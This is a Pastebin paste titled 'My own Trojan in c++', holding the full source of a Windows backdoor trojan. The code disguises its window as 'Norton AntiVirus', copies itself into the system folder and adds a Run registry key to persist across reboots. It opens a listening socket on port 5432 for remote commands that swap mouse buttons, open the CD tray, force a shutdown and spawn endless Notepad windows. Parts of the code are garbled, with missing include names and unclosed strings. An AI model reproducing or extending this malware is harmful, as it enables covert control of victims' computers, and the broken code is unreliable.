Advertisement
PYHOOMA

My own Trojan in c++

Aug 21st, 2018
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.33 KB | None | 0 0
  1. #include
  2. #include
  3. #include
  4. using namespace std;
  5. char Windir[MAX_PATH];
  6. char Module[MAX_PATH];
  7. SOCKET Socket;
  8. void Hide()
  9. {
  10. SetConsoleTitle(“Norton AntiVirus”);
  11. hide = FindWindow(NULL, “Norton AntiVirus”);
  12. ShowWindow(hide, 0);
  13. }
  14. void GetPaths()
  15. {
  16. GetSystemDirectory(Windir, sizeof(Windir));
  17. GetModuleFileName(0, Module, sizeof(Module));
  18. strcat(Windir, “\\WindowsAPICalls.exe);
  19. }
  20. void Install()
  21. {
  22. CopyFile(Module,Windir,0);
  23. HKEY Install;
  24. RegOpenKey(HKEY_LOCAL_MACHINE,”Software\\Microsoft\\Windows\\CurrentVersion\\Run”, &Install);
  25. RegSetValueEx(Install, “Windows API Calls”, 0, REG_SZ, (LPBYTE)Windir, sizeof(Windir));
  26. RegCloseKey(Install);
  27. }
  28. int ServerInitialize()
  29. {
  30. WSADATA wsaData;
  31. int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  32. if ( iResult != NO_ERROR )
  33. {
  34. WSACleanup();
  35. system(Module);
  36. return 0;
  37. }
  38. else
  39. {
  40. cout << “Winsock initialized.” << “\n”;
  41. }
  42. Socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  43. if (Socket == INVALID_SOCKET )
  44. {
  45. WSACleanup();
  46. system(Module);
  47. return 0;
  48. }
  49. else
  50. {
  51. cout << “Socket created.” << “\n”;
  52. }
  53. sockaddr_in service;
  54. service.sin_family = AF_INET;
  55. service.sin_addr.s_addr = INADDR_ANY;
  56. service.sin_port = htons(5432);
  57. if (bind(Socket, (SOCKADDR*) &service,sizeof(service)) == SOCKET_ERROR)
  58. {
  59. closesocket(Socket);
  60. system(Module);
  61. return 0;
  62. }
  63. else
  64. {
  65. cout << “Socket bound successfully.” << “\n”;
  66. }
  67. if (listen( Socket, 1 ) == SOCKET_ERROR )
  68. cout << “Error listening on socket.” << “\n”;
  69. SOCKET AcceptSocket;
  70. cout << “Waiting for a client to connect…” << “\n”;
  71. AcceptSocket = SOCKET_ERROR;
  72. while (AcceptSocket == SOCKET_ERROR )
  73. {
  74. AcceptSocket = accept(Socket, NULL, NULL );
  75. }
  76. cout << “Client Connected.”<< “\n”;
  77. Socket = AcceptSocket;
  78. }
  79. void Shutdown()
  80. {
  81. char Message[MAX_PATH]=”Your computer is infected with a malicious virus!;
  82. InitiateSystemShutdown(NULL,Message,sizeof(Message),true,false);
  83. }
  84. void OpenCloseCDTray()
  85. {
  86. mciSendString(“set cdaudio door open”, 0, 0, 0);
  87. mciSendString(“set cdaudio door open”, 0, 0, 0);
  88. }
  89. void Bomb()
  90. {
  91. HWND hwnd;
  92. char Notepad[MAX_PATH]=”notepad.exe;
  93. for(;;)
  94. {
  95. ShellExecute(hwnd,”open”,Notepad,NULL,NULL,SW_MAXIMIZE);
  96. }
  97. }
  98. void LeftMouse()
  99. {
  100. SwapMouseButton(true);
  101. }
  102. void RightMouse()
  103. {
  104. SwapMouseButton(false);
  105. }
  106. void Receive()
  107. {
  108. for(;;)
  109. {
  110. char Choice[MAX_PATH]=";
  111. cout << “Waiting for commands, sir!” << “\n”;
  112. recv(Socket, Choice, sizeof(Choice), 0);
  113. cout << Choice << “\n”;
  114. if (!strcmp(Choice,”1″))
  115. {
  116. LeftMouse();
  117. const char c_LeftMouse[MAX_PATH]={“Mouse changed; left.”};
  118. send(Socket,c_LeftMouse, sizeof(c_LeftMouse),0);
  119. }
  120. if (!strcmp(Choice,”2″))
  121. {
  122. RightMouse();
  123. const char c_RightMouse[MAX_PATH]={“Mouse changed; right.”};
  124. send(Socket,c_RightMouse, sizeof(c_RightMouse),0);
  125. }
  126. if (!strcmp(Choice,”3″))
  127. {
  128. OpenCloseCDTray();
  129. const char c_CDTray[MAX_PATH]={“CD Tray opened.  Closed if not on a laptop.”};
  130. send(Socket,c_CDTray, sizeof(c_CDTray),0);
  131. }
  132. if (!strcmp(Choice,”4″))
  133. {
  134. Shutdown();
  135. const char c_Shutdown[MAX_PATH]={“Shutdown initiated.”};
  136. send(Socket,c_Shutdown, sizeof(c_Shutdown),0);
  137. }
  138. }
  139. }
  140. int main()
  141. {
  142. Hide();
  143. GetPaths();
  144. if(!strcmp(Windir,Module))
  145. {
  146. ServerInitialize();
  147. Receive();
  148. }
  149. else
  150. {
  151. Install();
  152. ServerInitialize();
  153. Receive();
  154. }
  155. return 0;
  156. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement